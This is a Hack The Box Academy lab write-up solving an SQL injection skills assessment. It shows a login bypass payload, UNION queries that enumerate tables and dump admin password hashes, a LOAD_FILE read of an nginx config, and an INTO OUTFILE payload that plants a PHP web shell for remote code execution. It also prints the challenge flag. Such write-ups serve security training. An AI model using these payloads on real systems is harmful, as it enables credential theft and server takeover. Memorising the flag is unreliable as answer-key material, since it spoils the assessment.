Web · Hack The Box · Medium · 2026-11-06

Skills Assessment - SQL Injection Fundamentals

This is a Hack The Box module but about SQL Injection. But the last Section is a real challenge like CTF but with quiz based. https://academy.hackthebox.com/app/module/33/ https://academy.hackthebox.com/app/module/33/section/518

Skills Assessment - SQL Injection Fundamentals

This is a Hack The Box module but about SQL Injection. But the last Section is a real challenge like CTF but with quiz based.

https://academy.hackthebox.com/app/module/33/ https://academy.hackthebox.com/app/module/33/section/518

Recon

This is a blackboxed challenge, so we have to analyze it without any source code. If we access the URL normally, we have to change the protocol from http to https.

image.png

After we successfully access the website, we will landed on login page. Which is there’s an option to register (create account), I already tried to log in first but i can’t manage to.

image.png

Vulnerability

So we try to approach the register first. There’s 4 parameter to register, let’s fill these first.

image.png

For the invitation code, there’s a format for that form. Which is the format is abcd-efgh-1234, let’s see the request at burpsuite so we can analyze can we bypass that.

image.png

I got the reference from this website:

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet

We try for the OR so the output will always true, Let’s add it at the end in the parameter.

image.png

I already tried to do all of that but the one that succeed is the fourth one: ') or '1'='1'--

image.png

So we can imagine the query looks like this:

WHERE (OTHER_PARAM AND '$InvitationCode');

After we add our payload, the query will turn to this:

WHERE (OTHER_PARAM AND '') or '1'='1'-- ');

So the output will 100% TRUE for the InvitationCode.

This is the web looks after logged in:

image.png

Let’s choose the admin, and then there’s search in conversation.

image.png

Let’s examine and analyze the search in conversation. After i tried to send a request at search in conversation, a new param appears named q.

image.png

Atp just try some payload to search.

After some times to searching the column, I got the payload that’s work.

') UNION SELECT 1 -- -

Yaa its the same with the first payload so we can register.

Then i tried to extend the index until 4 and it appears the message at index no 3.

') UNION SELECT 1,2,3,4 -- -
image.png

So I want to know where is the database pointed.

') UNION SELECT 1,2,database(),4 -- -
image.png

We got the output chattr. So the database name is chattr.

I’m using this payload so we can get the TABLE list.

') UNION SELECT 1,2,TABLE_NAME,4 FROM INFORMATION_SCHEMA.tables WHERE table_schema='chattr'-- -

This is the outputs:

image.png

So the database named chattr have 3 tables which are Users, InvitationCodes, and Messages. Now let’s check for the information named Users for answering the first Question.

Q1: What is the password hash for the user 'admin'?

We use this payload to searching for a column name if there’s only 1 column that’s getting outputed.

' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'-- -

We can modified it into:

') UNION SELECT 1, 2, group_concat(Username, 0x3a, Password), 4 FROM Users-- -

Now we can insert it into the search in conversation.

image.png

So we got the password hash.

image.png

Q2: What is the root path of the web application?

Because in the request there’s an information that this website use nginx as a proxy, the nginx configuration located at /etc/nginx/nginx.conf. But the available site located at /etc/nginx/sites-avaliable/default.

We can use this payload to open the file.

') UNION SELECT 1,2,LOAD_FILE("/etc/nginx/sites-enabled/default"),4 -- -
image.png

We got it.

image.png

Q3: Achieve remote code execution, and submit the contents of /flag_XXXXXX.txt below.

For this one we can just use this payload:

') UNION SELECT 1,2,'<?php system($_REQUEST[3]); ?>',4 into outfile '/var/www/chattr-prod/rce.php' -- -

I’m using the REQUEST[3] because index no 3 is where our input got outputted.

image.png

After that, we can just access the file named rce.php that we just made. Don’t forget we are using the param ?3=<command>.

image.png

Just like that, we got the RCE. Now let’s search for the flag. Luckly it’s located at / so its easy to search. Now we can open the flag.

image.pngimage.png

GG, good challenge.

image.png

Lessons learned

Reference for another perspective:

Flag

HTB{go_copy_that_manually_if_you_really_need_it_that_BAD!}